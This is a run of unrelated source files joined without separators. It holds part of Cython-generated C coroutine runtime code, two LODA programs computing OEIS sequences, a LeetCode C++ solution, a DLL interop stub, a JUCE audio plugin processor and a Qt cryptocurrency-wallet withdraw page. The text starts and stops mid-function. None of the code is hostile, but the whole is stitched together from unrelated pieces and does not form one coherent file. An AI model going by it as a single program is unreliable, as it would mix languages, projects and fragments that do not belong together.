assert(self->ob_refcnt == 0); __Pyx_SET_REFCNT(self, 1); #endif __Pyx_PyThreadState_assign __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); #ifdef __Pyx_AsyncGen_USED if (__Pyx_AsyncGen_CheckExact(self)) { __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; PyObject *finalizer = agen->ag_finalizer; if (finalizer && !agen->ag_closed) { PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); if (unlikely(!res)) { PyErr_WriteUnraisable(self); } else { Py_DECREF(res); } __Pyx_ErrRestore(error_type, error_value, error_traceback); return; } } #endif if (unlikely(gen->resume_label == 0 && !error_value)) { #ifdef __Pyx_Coroutine_USED #ifdef __Pyx_Generator_USED if (!__Pyx_Generator_CheckExact(self)) #endif { PyObject_GC_UnTrack(self); #if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) PyErr_WriteUnraisable(self); #else {PyObject *msg; char *cmsg; #if CYTHON_COMPILING_IN_PYPY msg = NULL; cmsg = (char*) "coroutine was never awaited"; #else char *cname; PyObject *qualname; qualname = gen->gi_qualname; cname = PyString_AS_STRING(qualname); msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); if (unlikely(!msg)) { PyErr_Clear(); cmsg = (char*) "coroutine was never awaited"; } else { cmsg = PyString_AS_STRING(msg); } #endif if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) PyErr_WriteUnraisable(self); Py_XDECREF(msg);} #endif PyObject_GC_Track(self); } #endif } else { PyObject *res = __Pyx_Coroutine_Close(self); if (unlikely(!res)) { if (PyErr_Occurred()) PyErr_WriteUnraisable(self); } else { Py_DECREF(res); } } __Pyx_ErrRestore(error_type, error_value, error_traceback); #if !CYTHON_USE_TP_FINALIZE assert(Py_REFCNT(self) > 0); if (--self->ob_refcnt == 0) { return; } { Py_ssize_t refcnt = Py_REFCNT(self); _Py_NewReference(self); __Pyx_SET_REFCNT(self, refcnt); } #if CYTHON_COMPILING_IN_CPYTHON assert(PyType_IS_GC(Py_TYPE(self)) && _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); _Py_DEC_REFTOTAL; #endif #ifdef COUNT_ALLOCS --Py_TYPE(self)->tp_frees; --Py_TYPE(self)->tp_allocs; #endif #endif } static PyObject * __Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, CYTHON_UNUSED void *context) { PyObject *name = self->gi_name; if (unlikely(!name)) name = Py_None; Py_INCREF(name); return name; } static int __Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, CYTHON_UNUSED void *context) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) #else if (unlikely(value == NULL || !PyString_Check(value))) #endif { PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = self->gi_name; Py_INCREF(value); self->gi_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, CYTHON_UNUSED void *context) { PyObject *name = self->gi_qualname; if (unlikely(!name)) name = Py_None; Py_INCREF(name); return name; } static int __Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, CYTHON_UNUSED void *context) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) #else if (unlikely(value == NULL || !PyString_Check(value))) #endif { PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = self->gi_qualname; Py_INCREF(value); self->gi_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, CYTHON_UNUSED void *context) { PyObject *frame = self->gi_frame; if (!frame) { if (unlikely(!self->gi_code)) { Py_RETURN_NONE; } frame = (PyObject *) PyFrame_New( PyThreadState_Get(), /*PyThreadState *tstate,*/ (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (unlikely(!frame)) return NULL; self->gi_frame = frame; } Py_INCREF(frame); return frame; } static __pyx_CoroutineObject *__Pyx__Coroutine_New( PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, PyObject *name, PyObject *qualname, PyObject *module_name) { __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); if (unlikely(!gen)) return NULL; return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); } static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, PyObject *name, PyObject *qualname, PyObject *module_name) { gen->body = body; gen->closure = closure; Py_XINCREF(closure); gen->is_running = 0; gen->resume_label = 0; gen->classobj = NULL; gen->yieldfrom = NULL; gen->gi_exc_state.exc_type = NULL; gen->gi_exc_state.exc_value = NULL; gen->gi_exc_state.exc_traceback = NULL; #if CYTHON_USE_EXC_INFO_STACK gen->gi_exc_state.previous_item = NULL; #endif gen->gi_weakreflist = NULL; Py_XINCREF(qualname); gen->gi_qualname = qualname; Py_XINCREF(name); gen->gi_name = name; Py_XINCREF(module_name); gen->gi_modulename = module_name; Py_XINCREF(code); gen->gi_code = code; gen->gi_frame = NULL; PyObject_GC_Track(gen); return gen; } /* PatchModuleWithCoroutine */ static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) int result; PyObject *globals, *result_obj; globals = PyDict_New(); if (unlikely(!globals)) goto ignore; result = PyDict_SetItemString(globals, "_cython_coroutine_type", #ifdef __Pyx_Coroutine_USED (PyObject*)__pyx_CoroutineType); #else Py_None); #endif if (unlikely(result < 0)) goto ignore; result = PyDict_SetItemString(globals, "_cython_generator_type", #ifdef __Pyx_Generator_USED (PyObject*)__pyx_GeneratorType); #else Py_None); #endif if (unlikely(result < 0)) goto ignore; if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; result_obj = PyRun_String(py_code, Py_file_input, globals, globals); if (unlikely(!result_obj)) goto ignore; Py_DECREF(result_obj); Py_DECREF(globals); return module; ignore: Py_XDECREF(globals); PyErr_WriteUnraisable(module); if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { Py_DECREF(module); module = NULL; } #else py_code++; #endif return module; } /* PatchGeneratorABC */ #ifndef CYTHON_REGISTER_ABCS #define CYTHON_REGISTER_ABCS 1 #endif #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) static PyObject* __Pyx_patch_abc_module(PyObject *module); static PyObject* __Pyx_patch_abc_module(PyObject *module) { module = __Pyx_Coroutine_patch_module( module, "" "if _cython_generator_type is not None:\n" " try: Generator = _module.Generator\n" " except AttributeError: pass\n" " else: Generator.register(_cython_generator_type)\n" "if _cython_coroutine_type is not None:\n" " try: Coroutine = _module.Coroutine\n" " except AttributeError: pass\n" " else: Coroutine.register(_cython_coroutine_type)\n" ); return module; } #endif static int __Pyx_patch_abc(void) { #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) static int abc_patched = 0; if (CYTHON_REGISTER_ABCS && !abc_patched) { PyObject *module; module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); if (!module) { PyErr_WriteUnraisable(NULL); if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, ((PY_MAJOR_VERSION >= 3) ? "Cython module failed to register with collections.abc module" : "Cython module failed to register with collections module"), 1) < 0)) { return -1; } } else { module = __Pyx_patch_abc_module(module); abc_patched = 1; if (unlikely(!module)) return -1; Py_DECREF(module); } module = PyImport_ImportModule("backports_abc"); if (module) { module = __Pyx_patch_abc_module(module); Py_XDECREF(module); } if (!module) { PyErr_Clear(); } } #else if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); #endif return 0; } /* Generator */ static PyMethodDef __pyx_Generator_methods[] = { {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, (char*) PyDoc_STR("send(arg) -> send 'arg' into generator,\nreturn next yielded value or raise StopIteration.")}, {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in generator,\nreturn next yielded value or raise StopIteration.")}, {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, (char*) PyDoc_STR("close() -> raise GeneratorExit inside generator.")}, {0, 0, 0, 0} }; static PyMemberDef __pyx_Generator_memberlist[] = { {(char *) "gi_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, {(char*) "gi_yieldfrom", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, (char*) PyDoc_STR("object being iterated by 'yield from', or None")}, {(char*) "gi_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, {0, 0, 0, 0, 0} }; static PyGetSetDef __pyx_Generator_getsets[] = { {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, (char*) PyDoc_STR("name of the generator"), 0}, {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, (char*) PyDoc_STR("qualified name of the generator"), 0}, {(char *) "gi_frame", (getter)__Pyx_Coroutine_get_frame, NULL, (char*) PyDoc_STR("Frame of the generator"), 0}, {0, 0, 0, 0, 0} }; static PyTypeObject __pyx_GeneratorType_type = { PyVarObject_HEAD_INIT(0, 0) "generator", sizeof(__pyx_CoroutineObject), 0, (destructor) __Pyx_Coroutine_dealloc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, 0, (traverseproc) __Pyx_Coroutine_traverse, 0, 0, offsetof(__pyx_CoroutineObject, gi_weakreflist), 0, (iternextfunc) __Pyx_Generator_Next, __pyx_Generator_methods, __pyx_Generator_memberlist, __pyx_Generator_getsets, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if CYTHON_USE_TP_FINALIZE 0, #else __Pyx_Coroutine_del, #endif 0, #if CYTHON_USE_TP_FINALIZE __Pyx_Coroutine_del, #elif PY_VERSION_HEX >= 0x030400a1 0, #endif #if PY_VERSION_HEX >= 0x030800b1 0, #endif #if PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000 0, #endif }; static int __pyx_Generator_init(void) { __pyx_GeneratorType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; __pyx_GeneratorType_type.tp_iter = PyObject_SelfIter; __pyx_GeneratorType = __Pyx_FetchCommonType(&__pyx_GeneratorType_type); if (unlikely(!__pyx_GeneratorType)) { return -1; } return 0; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; if (PyObject_Hash(*t->p) == -1) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT #if !CYTHON_PEP393_ENABLED static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; } #else static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (likely(PyUnicode_IS_ASCII(o))) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif } #endif #endif static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { return __Pyx_PyUnicode_AsStringAndSize(o, length); } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { int retval; if (unlikely(!x)) return -1; retval = __Pyx_PyObject_IsTrue(x); Py_DECREF(x); return retval; } static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { #if PY_MAJOR_VERSION >= 3 if (PyLong_Check(result)) { if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, "__int__ returned non-int (type %.200s). " "The ability to return an instance of a strict subclass of int " "is deprecated, and may be removed in a future version of Python.", Py_TYPE(result)->tp_name)) { Py_DECREF(result); return NULL; } return result; } #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", type_name, type_name, Py_TYPE(result)->tp_name); Py_DECREF(result); return NULL; } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x) || PyLong_Check(x))) #else if (likely(PyLong_Check(x))) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = m->nb_int(x); } else if (m && m->nb_long) { name = "long"; res = m->nb_long(x); } #else if (likely(m && m->nb_int)) { name = "int"; res = m->nb_int(x); } #endif #else if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { res = PyNumber_Int(x); } #endif if (likely(res)) { #if PY_MAJOR_VERSION < 3 if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { #else if (unlikely(!PyLong_CheckExact(res))) { #endif return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(b); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */
; A021674: Expansion of 1/((1-x)(1-3x)(1-8x)(1-12x)). ; Submitted by Jamie Morken(s3) ; 1,24,397,5676,75529,966048,12071269,148688052,1814929057,22024557672,266258052541,3210803780028,38655303353785,464868906584496,5586469016901013,67101965327432004,805738280990712913,9672976948574496120,116108663996962613485,1393567492877844034380,16724918113853699969641,200715882960816662622144,2408725520286425126946757,28905785641490244141977556,346878062882308494296967169,4162605836063107719242412168,49951822684560542745138137629,599426293429152525293887411932,7193150890865238436659675708697 add $0,2 lpb $0 sub $0,1 add $2,1 mul $2,8 mul $3,12 add $3,$1 mul $1,3 add $1,$2 lpe mov $0,$3 div $0,8
class Solution { public: bool isPossible(vector<int>& nums) { map<int, int> lefts; map<int, int> ends; for(int num : nums) ++lefts[num]; for(int num : nums) { if (lefts[num] == 0) continue; --lefts[num]; if (ends[num - 1] > 0) { --ends[num - 1]; ++ends[num]; } else if (lefts[num + 1] > 0 && lefts[num + 2] > 0) { --lefts[num + 1]; --lefts[num + 2]; ++ends[num + 2]; } else { return false; } } return true; } };
; A277419: a(n) = n!*LaguerreL(n, -5*n). ; Submitted by Jon Maiga ; 1,6,142,5676,318744,23046370,2038090320,213094791840,25714702990720,3517403388684030,537798502938028800,90890936781714193300,16825134146527678233600,3385560150770468257273050,735772370353606135149107200,171753027520961356975091493000,42858818750021251613294358528000,11385115527877346052015221682709750,3207720063786985035164531351052288000,955422836997161192204851445328805429500,299959864055050291088102103047769456640000,99004431437999057524264645287874751511671250 mov $2,1 mov $3,$0 mov $4,1 lpb $3 mul $1,$3 mul $4,$3 add $1,$4 mul $1,$3 mul $2,5 mul $2,$0 mov $4,0 add $5,1 div $1,$5 add $2,$1 sub $3,1 lpe mov $0,$2
// NativeLibrary.cpp : Defines the exported functions for the DLL application. // #include "stdafx.h" #include "MethodHeader.h" #include "NativeLibrary.h" using namespace methodNamespace; extern "C" NATIVELIBRARY_API void InteropTarget_string(char *inputText) { methodClass m; m.stringMethod(inputText); } extern "C" NATIVELIBRARY_API double InteropTarget_double(double *inputNumber) { methodClass m; return m.doubleMethod(inputNumber); }
/* ============================================================================== This file contains the basic framework code for a JUCE plugin processor. ============================================================================== */ #include "PluginProcessor.h" #include "PluginEditor.h" constexpr float BP_FREQ = 2950.0f; //============================================================================== GramophonyAudioProcessor::GramophonyAudioProcessor() #ifndef JucePlugin_PreferredChannelConfigurations : AudioProcessor (BusesProperties() #if ! JucePlugin_IsMidiEffect #if ! JucePlugin_IsSynth .withInput ("Input", juce::AudioChannelSet::stereo(), true) #endif .withOutput ("Output", juce::AudioChannelSet::stereo(), true) #endif ), apvts(*this, nullptr, "Parameters", createParameters()) #endif { } GramophonyAudioProcessor::~GramophonyAudioProcessor() { } //============================================================================== const juce::String GramophonyAudioProcessor::getName() const { return JucePlugin_Name; } bool GramophonyAudioProcessor::acceptsMidi() const { #if JucePlugin_WantsMidiInput return true; #else return false; #endif } bool GramophonyAudioProcessor::producesMidi() const { #if JucePlugin_ProducesMidiOutput return true; #else return false; #endif } bool GramophonyAudioProcessor::isMidiEffect() const { #if JucePlugin_IsMidiEffect return true; #else return false; #endif } double GramophonyAudioProcessor::getTailLengthSeconds() const { return 0.0; } int GramophonyAudioProcessor::getNumPrograms() { return 1; // NB: some hosts don't cope very well if you tell them there are 0 programs, // so this should be at least 1, even if you're not really implementing programs. } int GramophonyAudioProcessor::getCurrentProgram() { return 0; } void GramophonyAudioProcessor::setCurrentProgram (int index) { } const juce::String GramophonyAudioProcessor::getProgramName (int index) { return {}; } void GramophonyAudioProcessor::changeProgramName (int index, const juce::String& newName) { } //============================================================================== void GramophonyAudioProcessor::prepareToPlay (double sampleRate, int samplesPerBlock) { // Use this method as the place to do any pre-playback // initialisation that you need.. juce::dsp::ProcessSpec spec = { sampleRate, samplesPerBlock, getMainBusNumOutputChannels() }; chorus_.prepare(spec); mix_.prepare(spec); float frequency = apvts.getRawParameterValue("TONE")->load(); filter_ch1_.prepare(spec); filter_ch1_.coefficients = juce::dsp::IIR::Coefficients<float>::makeBandPass(sampleRate, frequency, 6.0f); filter_ch2_.prepare(spec); filter_ch2_.coefficients = juce::dsp::IIR::Coefficients<float>::makeBandPass(sampleRate, frequency, 6.0f); } void GramophonyAudioProcessor::releaseResources() { // When playback stops, you can use this as an opportunity to free up any // spare memory, etc. } #ifndef JucePlugin_PreferredChannelConfigurations bool GramophonyAudioProcessor::isBusesLayoutSupported (const BusesLayout& layouts) const { #if JucePlugin_IsMidiEffect juce::ignoreUnused (layouts); return true; #else // This is the place where you check if the layout is supported. // In this template code we only support mono or stereo. if (layouts.getMainOutputChannelSet() != juce::AudioChannelSet::mono() && layouts.getMainOutputChannelSet() != juce::AudioChannelSet::stereo()) return false; // This checks if the input layout matches the output layout #if ! JucePlugin_IsSynth if (layouts.getMainOutputChannelSet() != layouts.getMainInputChannelSet()) return false; #endif return true; #endif } #endif void GramophonyAudioProcessor::processBlock(juce::AudioBuffer<float>& buffer, juce::MidiBuffer& midiMessages) { juce::ScopedNoDenormals noDenormals; auto totalNumInputChannels = getTotalNumInputChannels(); auto totalNumOutputChannels = getTotalNumOutputChannels(); // In case we have more outputs than inputs, this code clears any output // channels that didn't contain input data, (because these aren't // guaranteed to be empty - they may contain garbage). // This is here to avoid people getting screaming feedback // when they first compile a plugin, but obviously you don't need to keep // this code if your algorithm always overwrites all the output channels. for (auto i = totalNumInputChannels; i < totalNumOutputChannels; ++i) { buffer.clear(i, 0, buffer.getNumSamples()); } mix_.pushDrySamples(buffer); for (float sample = 0; sample < buffer.getNumSamples(); ++sample) { for (int channel = 0; channel < totalNumInputChannels; ++channel) { // TODO: make this value tweakable. float treshold = apvts.getRawParameterValue("COMPRESS")->load(); float frequency = apvts.getRawParameterValue("TONE")->load(); if (*buffer.getReadPointer(channel, sample) >= treshold) { *buffer.getWritePointer(channel, sample) = (*buffer.getReadPointer(channel, sample) / 4) + (3 * treshold / 4); } else if (*buffer.getReadPointer(channel, sample) <= -treshold) { *buffer.getWritePointer(channel, sample) = (*buffer.getReadPointer(channel, sample) / 4) - (3 * treshold / 4); } // Partly calculated partly by ear set makeup gain. *buffer.getWritePointer(channel, sample) *= 5.0f - (11.0f * treshold * treshold); if (channel == 0) { filter_ch1_.coefficients = juce::dsp::IIR::Coefficients<float>::makeBandPass(getSampleRate(), frequency + 10.0f, 2.7f); *buffer.getWritePointer(channel, sample) = filter_ch1_.processSample(*buffer.getReadPointer(channel, sample)); } else if (channel == 1) { filter_ch2_.coefficients = juce::dsp::IIR::Coefficients<float>::makeBandPass(getSampleRate(), frequency - 10.0f, 2.73f); *buffer.getWritePointer(channel, sample) = filter_ch2_.processSample(*buffer.getReadPointer(channel, sample)); } } } auto block = juce::dsp::AudioBlock<float>(buffer); auto contextToUse = juce::dsp::ProcessContextReplacing<float>(block); chorus_.setRate(apvts.getRawParameterValue("VIBRATO_RATE")->load()); chorus_.setDepth(apvts.getRawParameterValue("VIBRATO")->load()); chorus_.setCentreDelay(1.0f); chorus_.setFeedback(0.0f); chorus_.setMix(1.0f); chorus_.process(contextToUse); mix_.setWetMixProportion(1.0f - apvts.getRawParameterValue("MIX")->load()); mix_.mixWetSamples(block); } //============================================================================== bool GramophonyAudioProcessor::hasEditor() const { return true; // (change this to false if you choose to not supply an editor) } juce::AudioProcessorEditor* GramophonyAudioProcessor::createEditor() { return new GramophonyAudioProcessorEditor (*this); } //============================================================================== void GramophonyAudioProcessor::getStateInformation (juce::MemoryBlock& destData) { // You should use this method to store your parameters in the memory block. // You could do that either as raw data, or use the XML or ValueTree classes // as intermediaries to make it easy to save and load complex data. auto state = apvts.copyState(); std::unique_ptr<juce::XmlElement> xml(state.createXml()); copyXmlToBinary(*xml, destData); } void GramophonyAudioProcessor::setStateInformation (const void* data, int sizeInBytes) { // You should use this method to restore your parameters from this memory block, // whose contents will have been created by the getStateInformation() call. std::unique_ptr<juce::XmlElement> xmlState(getXmlFromBinary(data, sizeInBytes)); if (xmlState.get() != nullptr) if (xmlState->hasTagName(apvts.state.getType())) apvts.replaceState(juce::ValueTree::fromXml(*xmlState)); } juce::AudioProcessorValueTreeState::ParameterLayout GramophonyAudioProcessor::createParameters() { std::vector<std::unique_ptr<juce::RangedAudioParameter>> parameters; parameters.push_back(std::make_unique<juce::AudioParameterFloat>("COMPRESS", "Compress", 0.04f, 0.45f, 0.1f)); parameters.push_back(std::make_unique<juce::AudioParameterFloat>("VIBRATO", "Vibrato", 0.0f, 0.33f, 0.01f)); parameters.push_back(std::make_unique<juce::AudioParameterFloat>("VIBRATO_RATE", "Rate", 0.5f, 4.0f, 2.0f)); parameters.push_back(std::make_unique<juce::AudioParameterFloat>("TONE", "Tone", 320.1f, 4700.0f, 2000.0f)); parameters.push_back(std::make_unique<juce::AudioParameterFloat>("MIX", "Mix", 0.0f, 0.5f, 0.0f)); return { parameters.begin(), parameters.end() }; } //============================================================================== // This creates new instances of the plugin.. juce::AudioProcessor* JUCE_CALLTYPE createPluginFilter() { return new GramophonyAudioProcessor(); }
#include "WithdrawPage.h" #include "ui_WithdrawPage.h" #include "WithdrawInputWidget.h" #include "WithdrawConfirmWidget.h" #include "withdrawrecordwidget.h" #include "wallet.h" class WithdrawPage::WithdrawPagePrivate { public: WithdrawPagePrivate(const WithdrawDataInput &data) :address(data.accountAddress),name(data.accountName),assetSymbol(data.assetSymbol) ,ammount(data.assetAmmount),assetID(data.assetID) ,inputWidget(new WithdrawInputWidget()) { } public: QString address;//地址 QString name; QString assetSymbol; QString ammount; QString assetID; WithdrawInputWidget *inputWidget; }; WithdrawPage::WithdrawPage(const WithdrawDataInput &data,QWidget *parent) : QWidget(parent), ui(new Ui::WithdrawPage), _p(new WithdrawPagePrivate(data)) { ui->setupUi(this); InitWidget(); } WithdrawPage::~WithdrawPage() { delete _p; delete ui; } void WithdrawPage::ShowRecordSlots() { } void WithdrawPage::ShowConfirmWidget(const QString &address, const QString & ammount) {//收到提现信号,弹出确认窗口 WithdrawConfirmWidget *confirm = new WithdrawConfirmWidget(WithdrawConfirmWidget::WithdrawConfirmInput( _p->name,ammount,_p->assetSymbol,address), XWCWallet::getInstance()->mainFrame); connect(confirm,&WithdrawConfirmWidget::closeSelf,this,&WithdrawPage::close); 